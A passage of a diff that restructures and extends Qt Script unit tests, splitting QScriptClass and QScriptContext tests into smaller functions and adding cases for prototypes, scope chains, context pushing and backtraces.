- QVERIFY(ret.strictlyEquals(obj));
- }
- // From JS
- {
- QScriptValue ret = eng.evaluate("obj()");
- QVERIFY(ret.isObject());
- QVERIFY(ret.strictlyEquals(eng.globalObject()));
- }
+ cls.setCallableMode(TestClass::CallableReturnsThisObject);
+ // From C++
+ {
+ QScriptValue ret = obj.call(obj);
+ QVERIFY(ret.isObject());
+ QVERIFY(ret.strictlyEquals(obj));
+ }
+ // From JS
+ {
+ QScriptValue ret = eng.evaluate("obj()");
+ QVERIFY(ret.isObject());
+ QVERIFY(ret.strictlyEquals(eng.globalObject()));
+ }
- cls.setCallableMode(TestClass::CallableReturnsCallee);
- // From C++
- {
- QScriptValue ret = obj.call();
- QVERIFY(ret.isObject());
- QVERIFY(ret.strictlyEquals(obj));
- }
- // From JS
- {
- QScriptValue ret = eng.evaluate("obj()");
- QVERIFY(ret.isObject());
- QVERIFY(ret.strictlyEquals(obj));
- }
+ cls.setCallableMode(TestClass::CallableReturnsCallee);
+ // From C++
+ {
+ QScriptValue ret = obj.call();
+ QVERIFY(ret.isObject());
+ QVERIFY(ret.strictlyEquals(obj));
+ }
+ // From JS
+ {
+ QScriptValue ret = eng.evaluate("obj()");
+ QVERIFY(ret.isObject());
+ QVERIFY(ret.strictlyEquals(obj));
+ }
- cls.setCallableMode(TestClass::CallableReturnsArgumentsObject);
- // From C++
- {
- QScriptValue ret = obj.call(obj, QScriptValueList() << 123);
- QVERIFY(ret.isObject());
- QVERIFY(ret.property("length").isNumber());
- QCOMPARE(ret.property("length").toInt32(), 1);
- QVERIFY(ret.property(0).isNumber());
- QCOMPARE(ret.property(0).toInt32(), 123);
- }
- // From JS
- {
- QScriptValue ret = eng.evaluate("obj(123)");
- QVERIFY(ret.isObject());
- QVERIFY(ret.property("length").isNumber());
- QCOMPARE(ret.property("length").toInt32(), 1);
- QVERIFY(ret.property(0).isNumber());
- QCOMPARE(ret.property(0).toInt32(), 123);
- }
+ cls.setCallableMode(TestClass::CallableReturnsArgumentsObject);
+ // From C++
+ {
+ QScriptValue ret = obj.call(obj, QScriptValueList() << 123);
+ QVERIFY(ret.isObject());
+ QVERIFY(ret.property("length").isNumber());
+ QCOMPARE(ret.property("length").toInt32(), 1);
+ QVERIFY(ret.property(0).isNumber());
+ QCOMPARE(ret.property(0).toInt32(), 123);
+ }
+ // From JS
+ {
+ QScriptValue ret = eng.evaluate("obj(123)");
+ QVERIFY(ret.isObject());
+ QVERIFY(ret.property("length").isNumber());
+ QCOMPARE(ret.property("length").toInt32(), 1);
+ QVERIFY(ret.property(0).isNumber());
+ QCOMPARE(ret.property(0).toInt32(), 123);
+ }
+}
- // construct()
- // From C++
- cls.clearReceivedArgs();
- cls.setCallableMode(TestClass::CallableReturnsGlobalObject);
- {
- QScriptValue ret = obj.construct();
- QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
- QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
- QVERIFY(ret.isObject());
- QVERIFY(ret.strictlyEquals(eng.globalObject()));
- }
- // From JS
- cls.clearReceivedArgs();
- {
- QScriptValue ret = eng.evaluate("new obj()");
- QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
- QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
- QVERIFY(ret.isObject());
- QVERIFY(ret.strictlyEquals(eng.globalObject()));
- }
- // From C++
- cls.clearReceivedArgs();
- cls.setCallableMode(TestClass::CallableInitializesThisObject);
- {
- QScriptValue ret = obj.construct();
- QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
- QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
- QVERIFY(ret.isQObject());
- QCOMPARE(ret.toQObject(), (QObject*)&eng);
- }
- // From JS
- cls.clearReceivedArgs();
- {
- QScriptValue ret = eng.evaluate("new obj()");
- QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
- QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
- QVERIFY(ret.isQObject());
- QCOMPARE(ret.toQObject(), (QObject*)&eng);
- }
+void tst_QScriptClass::extension_Callable_construct()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
+ QScriptValue obj = eng.newObject(&cls);
+ eng.globalObject().setProperty("obj", obj);
+
+ // From C++
+ cls.clearReceivedArgs();
+ cls.setCallableMode(TestClass::CallableReturnsGlobalObject);
+ {
+ QScriptValue ret = obj.construct();
+ QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+ QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+ QVERIFY(ret.isObject());
+ QVERIFY(ret.strictlyEquals(eng.globalObject()));
+ }
+ // From JS
+ cls.clearReceivedArgs();
+ {
+ QScriptValue ret = eng.evaluate("new obj()");
+ QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+ QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+ QVERIFY(ret.isObject());
+ QVERIFY(ret.strictlyEquals(eng.globalObject()));
+ }
+ // From C++
+ cls.clearReceivedArgs();
+ cls.setCallableMode(TestClass::CallableInitializesThisObject);
+ {
+ QScriptValue ret = obj.construct();
+ QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+ QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+ QVERIFY(ret.isQObject());
+ QCOMPARE(ret.toQObject(), (QObject*)&eng);
}
- // HasInstance
+ // From JS
+ cls.clearReceivedArgs();
{
- TestClass cls(&eng);
- cls.setHasInstance(true);
- QVERIFY(cls.supportsExtension(QScriptClass::HasInstance));
+ QScriptValue ret = eng.evaluate("new obj()");
+ QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+ QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+ QVERIFY(ret.isQObject());
+ QCOMPARE(ret.toQObject(), (QObject*)&eng);
+ }
+}
- QScriptValue obj = eng.newObject(&cls);
- obj.setProperty("foo", QScriptValue(&eng, 123));
- QScriptValue plain = eng.newObject();
- QVERIFY(!plain.instanceOf(obj));
+void tst_QScriptClass::extension_HasInstance()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
+ cls.setHasInstance(true);
+ QVERIFY(cls.supportsExtension(QScriptClass::HasInstance));
- eng.globalObject().setProperty("HasInstanceTester", obj);
- eng.globalObject().setProperty("hasInstanceValue", plain);
- cls.clearReceivedArgs();
- {
- QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
- QCOMPARE(cls.lastExtensionType(), QScriptClass::HasInstance);
- QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptValueList>());
- QScriptValueList lst = qvariant_cast<QScriptValueList>(cls.lastExtensionArgument());
- QCOMPARE(lst.size(), 2);
- QVERIFY(lst.at(0).strictlyEquals(obj));
- QVERIFY(lst.at(1).strictlyEquals(plain));
- QVERIFY(ret.isBoolean());
- QVERIFY(!ret.toBoolean());
- }
+ QScriptValue obj = eng.newObject(&cls);
+ obj.setProperty("foo", QScriptValue(&eng, 123));
+ QScriptValue plain = eng.newObject();
+ QVERIFY(!plain.instanceOf(obj));
- plain.setProperty("foo", QScriptValue(&eng, 456));
- QVERIFY(!plain.instanceOf(obj));
- {
- QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
- QVERIFY(ret.isBoolean());
- QVERIFY(!ret.toBoolean());
- }
+ eng.globalObject().setProperty("HasInstanceTester", obj);
+ eng.globalObject().setProperty("hasInstanceValue", plain);
+ cls.clearReceivedArgs();
+ {
+ QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
+ QCOMPARE(cls.lastExtensionType(), QScriptClass::HasInstance);
+ QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptValueList>());
+ QScriptValueList lst = qvariant_cast<QScriptValueList>(cls.lastExtensionArgument());
+ QCOMPARE(lst.size(), 2);
+ QVERIFY(lst.at(0).strictlyEquals(obj));
+ QVERIFY(lst.at(1).strictlyEquals(plain));
+ QVERIFY(ret.isBoolean());
+ QVERIFY(!ret.toBoolean());
+ }
- plain.setProperty("foo", obj.property("foo"));
- QVERIFY(plain.instanceOf(obj));
- {
- QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
- QVERIFY(ret.isBoolean());
- QVERIFY(ret.toBoolean());
- }
+ plain.setProperty("foo", QScriptValue(&eng, 456));
+ QVERIFY(!plain.instanceOf(obj));
+ {
+ QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
+ QVERIFY(ret.isBoolean());
+ QVERIFY(!ret.toBoolean());
+ }
+
+ plain.setProperty("foo", obj.property("foo"));
+ QVERIFY(plain.instanceOf(obj));
+ {
+ QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
+ QVERIFY(ret.isBoolean());
+ QVERIFY(ret.toBoolean());
}
}
@@ -1324,5 +1438,66 @@ void tst_QScriptClass::defaultImplementations()
QVERIFY(!defaultClass.extension(QScriptClass::HasInstance).isValid());
}
+void tst_QScriptClass::scriptClassObjectInPrototype()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
+ QScriptValue plainObject = eng.newObject();
+ QScriptValue classObject = eng.newObject(&cls);
+ plainObject.setPrototype(classObject);
+ QVERIFY(plainObject.prototype().equals(classObject));
+ eng.globalObject().setProperty("plainObject", plainObject);
+ eng.globalObject().setProperty("classObject", classObject);
+
+ QScriptString name = eng.toStringHandle("x");
+ cls.addCustomProperty(name, QScriptClass::HandlesReadAccess, /*id=*/1, /*flags=*/0, /*value=*/123);
+ QVERIFY(plainObject.property(name).equals(classObject.property(name)));
+ QVERIFY(eng.evaluate("plainObject.x == classObject.x").toBool());
+
+ // Add a property that shadows the one in the script class.
+ plainObject.setProperty(name, 456);
+ QVERIFY(!plainObject.property(name).equals(classObject.property(name)));
+ QVERIFY(eng.evaluate("plainObject.x != classObject.x").toBool());
+
+ QVERIFY(eng.evaluate("delete plainObject.x").toBool());
+ QVERIFY(eng.evaluate("plainObject.x == classObject.x").toBool());
+}
+
+void tst_QScriptClass::scriptClassWithNullEngine()
+{
+ QScriptClass cls(0);
+ QCOMPARE(cls.engine(), (QScriptEngine*)0);
+ QScriptEngine eng;
+ QScriptValue obj = eng.newObject(&cls);
+ QVERIFY(obj.isObject());
+ QCOMPARE(obj.scriptClass(), &cls);
+ // The class could have been "bound" to the engine at this point,
+ // but it's currently not.
+ // This behavior is not documented and is subject to change.
+ QCOMPARE(cls.engine(), (QScriptEngine*)0);
+ // The engine pointer stored in the QScriptClass is not actually used
+ // during property access, so this still works.
+ obj.setProperty("x", 123);
+ QVERIFY(obj.property("x").isNumber());
+}
+
+void tst_QScriptClass::scriptClassInOtherEngine()
+{
+ QScriptEngine eng;
+ TestClass cls(&eng);
+ QScriptEngine eng2;
+ // We don't check that the class is associated with another engine, so
+ // we only get a warning when trying to set the prototype of the new
+ // instance.
+ // This behavior is not documented and is subject to change.
+ QTest::ignoreMessage(QtWarningMsg, "QScriptValue::setPrototype() failed: cannot set a prototype created in a different engine");
+ QScriptValue obj = eng2.newObject(&cls);
+ QVERIFY(obj.isObject());
+ QCOMPARE(obj.scriptClass(), &cls);
+
+ obj.setProperty("x", 123);
+ QVERIFY(obj.property("x").isNumber());
+}
+
QTEST_MAIN(tst_QScriptClass)
#include "tst_qscriptclass.moc"
diff --git a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp
index cb6311e..9d7e896 100644
--- a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp
+++ b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp
@@ -66,7 +66,9 @@ public:
private slots:
void callee();
+ void callee_implicitCall();
void arguments();
+ void argumentsInJS();
void thisObject();
void returnValue();
void throwError_data();
@@ -77,16 +79,29 @@ private slots:
void throwValue();
void evaluateInFunction();
void pushAndPopContext();
+ void pushAndPopContext_variablesInActivation();
+ void pushAndPopContext_setThisObject();
+ void pushAndPopContext_throwException();
void lineNumber();
void backtrace_data();
void backtrace();
- void scopeChain();
- void pushAndPopScope();
- void getSetActivationObject();
+ void scopeChain_globalContext();
+ void scopeChain_closure();
+ void scopeChain_withStatement();
+ void pushAndPopScope_globalContext();
+ void pushAndPopScope_globalContext2();
+ void getSetActivationObject_globalContext();
+ void pushScopeEvaluate();
+ void pushScopeCall();
+ void popScopeSimple();
+ void pushAndPopGlobalObjectSimple();
+ void pushAndPopIterative();
void getSetActivationObject_customContext();
void inheritActivationAndThisObject();
void toString();
- void calledAsConstructor();
+ void calledAsConstructor_fromCpp();
+ void calledAsConstructor_fromJS();
+ void calledAsConstructor_parentContext();
void argumentsObjectInNative();
void jsActivationObject();
void qobjectAsActivationObject();
@@ -121,33 +136,33 @@ void tst_QScriptContext::callee()
{
QScriptEngine eng;
- {
- QScriptValue fun = eng.newFunction(get_callee);
- fun.setProperty("foo", QScriptValue(&eng, "bar"));
- eng.globalObject().setProperty("get_callee", fun);
+ QScriptValue fun = eng.newFunction(get_callee);
+ fun.setProperty("foo", QScriptValue(&eng, "bar"));
+ eng.globalObject().setProperty("get_callee", fun);
- QScriptValue result = eng.evaluate("get_callee()");
- QCOMPARE(result.isFunction(), true);
- QCOMPARE(result.property("foo").toString(), QString("bar"));
- }
+ QScriptValue result = eng.evaluate("get_callee()");
+ QCOMPARE(result.isFunction(), true);
+ QCOMPARE(result.property("foo").toString(), QString("bar"));
+}
+void tst_QScriptContext::callee_implicitCall()
+{
+ QScriptEngine eng;
// callee when toPrimitive() is called internally
- {
- QScriptValue fun = eng.newFunction(store_callee_and_return_primitive);
- QScriptValue obj = eng.newObject();
- obj.setProperty("toString", fun);
- QVERIFY(!obj.property("callee").isValid());
- (void)obj.toString();
- QVERIFY(obj.property("callee").isFunction());
- QVERIFY(obj.property("callee").strictlyEquals(fun));
-
- obj.setProperty("callee", QScriptValue());
- QVERIFY(!obj.property("callee").isValid());
- obj.setProperty("valueOf", fun);
- (void)obj.toNumber();
- QVERIFY(obj.property("callee").isFunction());
- QVERIFY(obj.property("callee").strictlyEquals(fun));
- }
+ QScriptValue fun = eng.newFunction(store_callee_and_return_primitive);
+ QScriptValue obj = eng.newObject();
+ obj.setProperty("toString", fun);
+ QVERIFY(!obj.property("callee").isValid());
+ (void)obj.toString();
+ QVERIFY(obj.property("callee").isFunction());
+ QVERIFY(obj.property("callee").strictlyEquals(fun));
+
+ obj.setProperty("callee", QScriptValue());
+ QVERIFY(!obj.property("callee").isValid());
+ obj.setProperty("valueOf", fun);
+ (void)obj.toNumber();
+ QVERIFY(obj.property("callee").isFunction());
+ QVERIFY(obj.property("callee").strictlyEquals(fun));
}
static QScriptValue get_arguments(QScriptContext *ctx, QScriptEngine *eng)
@@ -167,6 +182,8 @@ void tst_QScriptContext::arguments()
{
QScriptEngine eng;
+ // See section 10.6 ("Arguments Object") of ECMA-262.
+
{
QScriptValue args = eng.currentContext()->argumentsObject();
QVERIFY(args.isObject());
@@ -178,6 +195,8 @@ void tst_QScriptContext::arguments()
}
for (int x = 0; x < 2; ++x) {
+ // The expected arguments array should be the same regardless of
+ // whether get_arguments() is called as a constructor.
QString prefix;
if (x == 0)
prefix = "";
@@ -224,11 +243,15 @@ void tst_QScriptContext::arguments()
QCOMPARE(result.propertyFlags("length"), QScriptValue::SkipInEnumeration);
QCOMPARE(result.property("callee").strictlyEquals(fun), true);
QCOMPARE(result.propertyFlags("callee"), QScriptValue::SkipInEnumeration);
+
+ // callee and length properties should be writable.
QScriptValue replacedCallee(&eng, 123);
result.setProperty("callee", replacedCallee);
QVERIFY(result.property("callee").equals(replacedCallee));
QScriptValue replacedLength(&eng, 456);
result.setProperty("length", replacedLength);
+
+ // callee and length properties should be deletable.
QVERIFY(result.property("length").equals(replacedLength));
result.setProperty("callee", QScriptValue());
QVERIFY(!result.property("callee").isValid());
@@ -262,28 +285,31 @@ void tst_QScriptContext::arguments()
QCOMPARE(result.property("2").toBoolean(), true);
QCOMPARE(result.property("3").isUndefined(), true);
}
+ }
+}
- // arguments object returned from script
- {
- QScriptValue result = eng.evaluate("(function() { return arguments; })(123)");
- QCOMPARE(result.isArray(), false);
- QVERIFY(result.isObject());
- QCOMPARE(result.property("length").toUInt32(), quint32(1));
- QCOMPARE(result.property("0").isNumber(), true);
- QCOMPARE(result.property("0").toNumber(), 123.0);
- }
+void tst_QScriptContext::argumentsInJS()
+{
+ QScriptEngine eng;
+ {
+ QScriptValue result = eng.evaluate("(function() { return arguments; })(123)");
+ QCOMPARE(result.isArray(), false);
+ QVERIFY(result.isObject());
+ QCOMPARE(result.property("length").toUInt32(), quint32(1));
+ QCOMPARE(result.property("0").isNumber(), true);
+ QCOMPARE(result.property("0").toNumber(), 123.0);
+ }
- {
- QScriptValue result = eng.evaluate("(function() { return arguments; })('ciao', null, true, undefined)");
- QCOMPARE(result.isArray(), false);
- QCOMPARE(result.property("length").toUInt32(), quint32(4));
- QCOMPARE(result.property("0").isString(), true);
- QCOMPARE(result.property("0").toString(), QString("ciao"));
- QCOMPARE(result.property("1").isNull(), true);
- QCOMPARE(result.property("2").isBoolean(), true);
- QCOMPARE(result.property("2").toBoolean(), true);
- QCOMPARE(result.property("3").isUndefined(), true);
- }
+ {
+ QScriptValue result = eng.evaluate("(function() { return arguments; })('ciao', null, true, undefined)");
+ QCOMPARE(result.isArray(), false);
+ QCOMPARE(result.property("length").toUInt32(), quint32(4));
+ QCOMPARE(result.property("0").isString(), true);
+ QCOMPARE(result.property("0").toString(), QString("ciao"));
+ QCOMPARE(result.property("1").isNull(), true);
+ QCOMPARE(result.property("2").isBoolean(), true);
+ QCOMPARE(result.property("2").toBoolean(), true);
+ QCOMPARE(result.property("3").isUndefined(), true);
}
}
@@ -517,58 +543,65 @@ void tst_QScriptContext::pushAndPopContext()
QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::popContext() doesn't match with pushContext()");
eng.popContext();
QCOMPARE(eng.currentContext(), topLevel);
+}
- {
- QScriptContext *ctx3 = eng.pushContext();
- ctx3->activationObject().setProperty("foo", QScriptValue(&eng, 123));
- QVERIFY(eng.evaluate("foo").strictlyEquals(QScriptValue(&eng, 123)));
- QCOMPARE(ctx3->activationObject().propertyFlags("foo"), QScriptValue::PropertyFlags(0));
-
- ctx3->activationObject().setProperty(4, 456);
- QVERIFY(ctx3->activationObject().property(4, QScriptValue::ResolveLocal).equals(456));
-
- eng.evaluate("var bar = 'ciao'");
- QVERIFY(ctx3->activationObject().property("bar", QScriptValue::ResolveLocal).strictlyEquals(QScriptValue(&eng, "ciao")));
-
- ctx3->activationObject().setProperty("baz", 789, QScriptValue::ReadOnly);
- QVERIFY(eng.evaluate("baz").equals(789));
- QCOMPARE(ctx3->activationObject().propertyFlags("baz"), QScriptValue::ReadOnly);
-
- QSet<QString> activationPropertyNames;
- QScriptValueIterator it(ctx3->activationObject());
- while (it.hasNext()) {
- it.next();
- activationPropertyNames.insert(it.name());
- }
- QCOMPARE(activationPropertyNames.size(), 4);
- QVERIFY(activationPropertyNames.contains("foo"));
- QVERIFY(activationPropertyNames.contains("4"));
- QVERIFY(activationPropertyNames.contains("bar"));
- QVERIFY(activationPropertyNames.contains("baz"));
-
- eng.popContext();
+void tst_QScriptContext::pushAndPopContext_variablesInActivation()
+{
+ QScriptEngine eng;
+ QScriptContext *ctx = eng.pushContext();
+ ctx->activationObject().setProperty("foo", QScriptValue(&eng, 123));
+ // evaluate() should use the current context.
+ QVERIFY(eng.evaluate("foo").strictlyEquals(QScriptValue(&eng, 123)));
+ QCOMPARE(ctx->activationObject().propertyFlags("foo"), QScriptValue::PropertyFlags(0));
+
+ ctx->activationObject().setProperty(4, 456);
+ QVERIFY(ctx->activationObject().property(4, QScriptValue::ResolveLocal).equals(456));
+
+ // New JS variables should become properties of the current context's activation.
+ eng.evaluate("var bar = 'ciao'");
+ QVERIFY(ctx->activationObject().property("bar", QScriptValue::ResolveLocal).strictlyEquals(QScriptValue(&eng, "ciao")));
+
+ ctx->activationObject().setProperty("baz", 789, QScriptValue::ReadOnly);
+ QVERIFY(eng.evaluate("baz").equals(789));
+ QCOMPARE(ctx->activationObject().propertyFlags("baz"), QScriptValue::ReadOnly);
+
+ QSet<QString> activationPropertyNames;
+ QScriptValueIterator it(ctx->activationObject());
+ while (it.hasNext()) {
+ it.next();
+ activationPropertyNames.insert(it.name());
}
+ QCOMPARE(activationPropertyNames.size(), 4);
+ QVERIFY(activationPropertyNames.contains("foo"));
+ QVERIFY(activationPropertyNames.contains("4"));
+ QVERIFY(activationPropertyNames.contains("bar"));
+ QVERIFY(activationPropertyNames.contains("baz"));
- {
- QScriptContext *ctx4 = eng.pushContext();
- QScriptValue obj = eng.newObject();
- obj.setProperty("prop", QScriptValue(&eng, 456));
- ctx4->setThisObject(obj);
- QScriptValue ret = eng.evaluate("var tmp = this.prop; tmp + 1");
- QCOMPARE(eng.currentContext(), ctx4);
- QVERIFY(ret.strictlyEquals(QScriptValue(&eng, 457)));
- eng.popContext();
- }
+ eng.popContext();
+}
- // throwing an exception
- {
- QScriptContext *ctx5 = eng.pushContext();
- QScriptValue ret = eng.evaluate("throw new Error('oops')");
- QVERIFY(ret.isError());
- QVERIFY(eng.hasUncaughtException());
- QCOMPARE(eng.currentContext(), ctx5);
- eng.popContext();
- }
+void tst_QScriptContext::pushAndPopContext_setThisObject()
+{
+ QScriptEngine eng;
+ QScriptContext *ctx = eng.pushContext();
+ QScriptValue obj = eng.newObject();
+ obj.setProperty("prop", QScriptValue(&eng, 456));
+ ctx->setThisObject(obj);
+ QScriptValue ret = eng.evaluate("var tmp = this.prop; tmp + 1");
+ QCOMPARE(eng.currentContext(), ctx);
+ QVERIFY(ret.strictlyEquals(QScriptValue(&eng, 457)));
+ eng.popContext();
+}
+
+void tst_QScriptContext::pushAndPopContext_throwException()
+{
+ QScriptEngine eng;
+ QScriptContext *ctx = eng.pushContext();
+ QScriptValue ret = eng.evaluate("throw new Error('oops')");
+ QVERIFY(ret.isError());
+ QVERIFY(eng.hasUncaughtException());
+ QCOMPARE(eng.currentContext(), ctx);
+ eng.popContext();
}
void tst_QScriptContext::popNativeContextScope()
@@ -596,7 +629,7 @@ void tst_QScriptContext::popNativeContextScope()
QVERIFY(ctx->activationObject().strictlyEquals(customScope));
QCOMPARE(ctx->scopeChain().size(), 2);
QVERIFY(ctx->scopeChain().at(0).strictlyEquals(customScope));
- QEXPECT_FAIL("", "QTBUG-11012", Continue);
+ QEXPECT_FAIL("", "QTBUG-11012: Global object is replaced in scope chain", Continue);
QVERIFY(ctx->scopeChain().at(1).strictlyEquals(eng.globalObject()));
QVERIFY(!eng.evaluate("baz = 456; var foo = 789; function barbar() {}").isError());
@@ -891,6 +924,50 @@ void tst_QScriptContext::backtrace_data()
QTest::newRow("js recursive") << source << expected;
}
+
+ {
+ QString source = QString::fromLatin1(
+ "[0].forEach(\n"
+ " function() {\n"
+ " result = bt();\n"
+ "}); result");
+
+ QStringList expected;
+ expected << "<native>() at -1"
+ << "<anonymous>(0, 0, 0) at testfile:3"
+ << QString::fromLatin1("forEach(%0) at -1")
+ // Because the JIT doesn't store the arguments in the frame
+ // for built-in functions, arguments are not available.
+ // Will work when the copy of JavaScriptCore is updated
+ // (QTBUG-16568).
+ .arg(qt_script_isJITEnabled()
+ ? ""
+ : "function () {\n result = bt();\n}")
+ << "<global>() at testfile:4";
+ QTest::newRow("js callback from built-in") << source << expected;
+ }
+
+ {
+ QString source = QString::fromLatin1(
+ "[10,20].forEach(\n"
+ " function() {\n"
+ " result = bt();\n"
+ "}); result");
+
+ QStringList expected;
+ expected << "<native>() at -1"
+ << "<anonymous>(20, 1, 10,20) at testfile:3"
+ << QString::fromLatin1("forEach(%0) at -1")
+ // Because the JIT doesn't store the arguments in the frame
+ // for built-in functions, arguments are not available.
+ // Will work when the copy of JavaScriptCore is updated
+ // (QTBUG-16568).
+ .arg(qt_script_isJITEnabled()
+ ? ""
+ : "function () {\n result = bt();\n}")
+ << "<global>() at testfile:4";
+ QTest::newRow("js callback from built-in") << source << expected;
+ }
}
@@ -918,7 +995,7 @@ static QScriptValue getScopeChain(QScriptContext *ctx, QScriptEngine *eng)
return qScriptValueFromValue(eng, ctx->parentContext()->scopeChain());
}
-void tst_QScriptContext::scopeChain()
+void tst_QScriptContext::scopeChain_globalContext()
{
QScriptEngine eng;
{
@@ -932,19 +1009,35 @@ void tst_QScriptContext::scopeChain()
QCOMPARE(ret.size(), 1);
QVERIFY(ret.at(0).strictlyEquals(eng.globalObject()));
}
- {
- eng.evaluate("function foo() { function bar() { return getScopeChain(); } return bar() }");
- QScriptValueList ret = qscriptvalue_cast<QScriptValueList>(eng.evaluate("foo()"));
- QEXPECT_FAIL("", "Number of items in returned scope chain is incorrect", Abort);
- QCOMPARE(ret.size(), 3);
- QVERIFY(ret.at(2).strictlyEquals(eng.globalObject()));
- QCOMPARE(ret.at(1).toString(), QString::fromLatin1("activation"));
- QVERIFY(ret.at(1).property("arguments").isObject());
- QCOMPARE(ret.at(0).toString(), QString::fromLatin1("activation"));
- QVERIFY(ret.at(0).property("arguments").isObject());
- }
+}
+
+void tst_QScriptContext::scopeChain_closure()
+{
+ QScriptEngine eng;
+ eng.globalObject().setProperty("getScopeChain", eng.newFunction(getScopeChain));
+
+ eng.evaluate("function foo() { function bar() { return getScopeChain(); } return bar() }");
+ QScriptValueList ret = qscriptvalue_cast<QScriptValueList>(eng.evaluate("foo()"));
+ // JSC will not create an activation for bar() unless we insert a call
+ // to eval() in the function body; JSC has no way of knowing that the
+ // native function will be asking for the activation, and we don't want
+ // to needlessly create it.
+ QEXPECT_FAIL("", "QTBUG-10313: JSC optimizes away the activation object", Abort);
+ QCOMPARE(ret.size(), 3);
+ QVERIFY(ret.at(2).strictlyEquals(eng.globalObject()));
+ QCOMPARE(ret.at(1).toString(), QString::fromLatin1("activation"));
+ QVERIFY(ret.at(1).property("arguments").isObject());
+ QCOMPARE(ret.at(0).toString(), QString::fromLatin1("activation"));
+ QVERIFY(ret.at(0).property("arguments").isObject());
+}
+
+void tst_QScriptContext::scopeChain_withStatement()
+{
+ QScriptEngine eng;
+ eng.globalObject().setProperty("getScopeChain", eng.newFunction(getScopeChain));
{
QScriptValueList ret = qscriptvalue_cast<QScriptValueList>(eng.evaluate("o = { x: 123 }; with(o) getScopeChain();"));
+ QEXPECT_FAIL("", "QTBUG-17131: with-scope isn't reflected by QScriptContext", Abort);
QCOMPARE(ret.size(), 2);
QVERIFY(ret.at(1).strictlyEquals(eng.globalObject()));
QVERIFY(ret.at(0).isObject());
@@ -962,7 +1055,73 @@ void tst_QScriptContext::scopeChain()
}
}
-void tst_QScriptContext::pushAndPopScope()
+void tst_QScriptContext::pushScopeEvaluate()
+{
+ QScriptEngine engine;
+ QScriptValue object = engine.newObject();
+ object.setProperty("foo", 1234);
+ object.setProperty(1, 1234);
+ engine.currentContext()->pushScope(object);
+ object.setProperty("bar", 4321);
+ object.setProperty(2, 4321);
+ QVERIFY(engine.evaluate("foo").equals(1234));
+ QVERIFY(engine.evaluate("bar").equals(4321));
+}
+
+void tst_QScriptContext::pushScopeCall()
+{
+ QScriptEngine engine;
+ QScriptValue object = engine.globalObject();
+ QScriptValue thisObject = engine.newObject();
+ QScriptValue function = engine.evaluate("(function(property){return this[property]; })");
+ QVERIFY(function.isFunction());
+ object.setProperty("foo", 1234);
+ thisObject.setProperty("foo", "foo");
+ engine.currentContext()->pushScope(object);
+ object.setProperty("bar", 4321);
+ thisObject.setProperty("bar", "bar");
+ QVERIFY(function.call(QScriptValue(), QScriptValueList() << "foo").equals(1234));
+ QVERIFY(function.call(QScriptValue(), QScriptValueList() << "bar").equals(4321));
+ QVERIFY(function.call(thisObject, QScriptValueList() << "foo").equals("foo"));
+ QVERIFY(function.call(thisObject, QScriptValueList() << "bar").equals("bar"));
+}
+
+void tst_QScriptContext::popScopeSimple()
+{
+ QScriptEngine engine;
+ QScriptValue object = engine.newObject();
+ QScriptValue globalObject = engine.globalObject();
+ engine.currentContext()->pushScope(object);
+ QVERIFY(engine.currentContext()->popScope().strictlyEquals(object));
+ QVERIFY(engine.globalObject().strictlyEquals(globalObject));
+}
+
+void tst_QScriptContext::pushAndPopGlobalObjectSimple()
+{
+ QScriptEngine engine;
+ QScriptValue globalObject = engine.globalObject();
+ engine.currentContext()->pushScope(globalObject);
+ QVERIFY(engine.currentContext()->popScope().strictlyEquals(globalObject));
+ QVERIFY(engine.globalObject().strictlyEquals(globalObject));
+}
+
+void tst_QScriptContext::pushAndPopIterative()
+{
+ QScriptEngine engine;
+ for (uint repeat = 0; repeat < 2; ++repeat) {
+ for (uint i = 1; i < 11; ++i) {
+ QScriptValue object = engine.newObject();
+ object.setProperty("x", i + 10 * repeat);
+ engine.currentContext()->pushScope(object);
+ }
+ for (uint i = 10; i > 0; --i) {
+ QScriptValue object = engine.currentContext()->popScope();
+ QVERIFY(object.property("x").equals(i + 10 * repeat));
+ }
+ }
+}
+
+void tst_QScriptContext::pushAndPopScope_globalContext()
{
QScriptEngine eng;
QScriptContext *ctx = eng.currentContext();
@@ -1019,14 +1178,19 @@ void tst_QScriptContext::pushAndPopScope()
ctx->pushScope(QScriptValue());
QCOMPARE(ctx->scopeChain().size(), 1);
+}
+void tst_QScriptContext::pushAndPopScope_globalContext2()
+{
+ QScriptEngine eng;
+ QScriptContext *ctx = eng.currentContext();
QVERIFY(ctx->popScope().strictlyEquals(eng.globalObject()));
QVERIFY(ctx->scopeChain().isEmpty());
